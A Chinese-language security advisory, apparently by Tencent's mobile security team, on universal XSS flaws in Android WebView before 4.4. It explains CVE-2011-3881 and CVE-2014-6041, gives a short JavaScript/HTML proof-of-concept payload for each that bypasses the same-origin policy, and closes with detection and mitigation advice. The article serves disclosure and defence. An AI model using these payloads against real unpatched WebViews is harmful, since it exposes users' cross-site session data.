Android安全之WebViewUXSS漏洞

发布时间:2019-08-06 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了Android安全之WebViewUXSS漏洞脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。

AndROId安全之WebViewUXSS漏洞

  • 0X01 前言

XSS是我们比较熟悉的一种攻击方式,包括存储型XSS、反射型XSS、DOM XSS等,但UXSS(通用型XSS)另外一种不同的漏洞类型,主要体现在漏洞的载体和影响范围上。
XSS问题于某一个WEB站点或应用存在安全问题,但受同源策略的约束,攻击者只能访问存在漏洞的站点的回话信息,无法访问其他域的回话信息。
UXSS则主要源于浏览器或浏览器扩展程序的安全缺陷,不需要网站本身存在漏洞也可以触发漏洞,攻击者可以获取到浏览器打开和缓存的所有页面(不同域)的会话信息,因此UXSS漏洞的杀伤力极强。
由于GOOGLEwebkit移植到了Android上,并将其作为WebView组件封装在SDK中,但一些之前出现在PC版chrome的WebKIT漏洞在SDK中并未修复,因此历史的悲剧在android上再一次上演:
 图片描述
 
相关漏洞可以上https://bugs.chromium.org/p/c...搜索。下文介绍几个对应的漏洞。
 

  • 0X02 CVE-2011-3881

WebKit, as used in Google Chrome before 15.0.874.102 and Android before 4.4, allows remote attackers to bypass the Same Origin policy and conduct Universal XSS (UXSS) attacks via vectors related to
(1) the DOMWindow::clear function and use of a selection object,
(2) the Object::GetRealNamedPropertyInPRototyPEChain function and use of an proto property,
(3) the HTMLPlugInImageElement::AllowedToLoaDFrameURL function and use of a javascript: URL,
(4) incorrect origins for xslt-generated Documents in the XSLTProcessor::createDocumentFromSource function, and
(5) improper handling of synchronous frame loads in the ScriptController::executeifJavaScriptURL function.

该漏洞主要由于HTMLPlugInImageElement::allowedToLoadFrameurl函数中对Javascript url地址校验不足,对源检测不全导致的跨域问题:
POC:

<script>window.onload = function(){
    object = document.createElement("object");
    object.data = "http://google.com/";
    document.body.appendChild(object);
    object.onload = function({
    object.data = "javascript:alert(document.body.innerHTML)";
    object.innerHTML = "foo";
    }
}</script>

 

  • 0X03 CVE-2014-6041

The Android WebView in Android before 4.4 allows remote attackers to bypass the Same Origin Policy via a crafted attribute containing a u0000 character, as demonstrated by an onclick="window.open ('u0000javascript:  sequence to the Android browser application 4.2.1 or a third-party web browser.
 
由于很多厂商都是直接使用系统自带的WebView,这将该漏洞的影响进一步扩大化,致使当时很多主流的应用纷纷中枪。
POC:

<input type=button value="test" onclick="
  a=document.createElement('script');
  a.id='AA';
  a.src='u0000https://js.stripe.com/v2/';
  document.body.appendChild(a);
  setTimeout(function(){if(typeof(document.getElementById('AA'))!=='undefined'){alert(Stripe);}
else{alert(2);}}, 400);
return false;">

 

  • 0X04 检测

这类漏洞可以通过御安全动态的方式进行自动化的检测,相关检测样例可以从https://bugs.chromium.org/p/c...(bugid)中查询到。
 

  • 0X05 安全建议

前面提到的这些UXSS漏洞都已经在Android 4.4中修复,同时它也提供了自动升级webkit的功能,以便及时修复漏洞。
 
用户:
1)        尽量采用最新版的Android系统
2)        尽量不要随意点击安全性未知的链接
厂商:
1)        客户端使用OnPageStarted (WebView view, String url, Bitmap favicon)方法在跳转前进行跨域判断
2)        使用最新的Webkit内核,但APK的size会变大,并且后续需要跟进Google Webkit官方进行更新。
3)        客户端对iframe object标签属性进行过滤
4)    定期使用漏洞工具检测(如御安全的漏洞库将根据市场出现的样本同步更新)

 

  • 0X06 参考

http://drops.wooyun.org/tools...
https://bugs.chromium.org/p/c...
https://security.tencent.com/...
 
腾讯御安全技团队

脚本宝典总结

以上是脚本宝典为你收集整理的Android安全之WebViewUXSS漏洞全部内容,希望文章能够帮你解决Android安全之WebViewUXSS漏洞所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。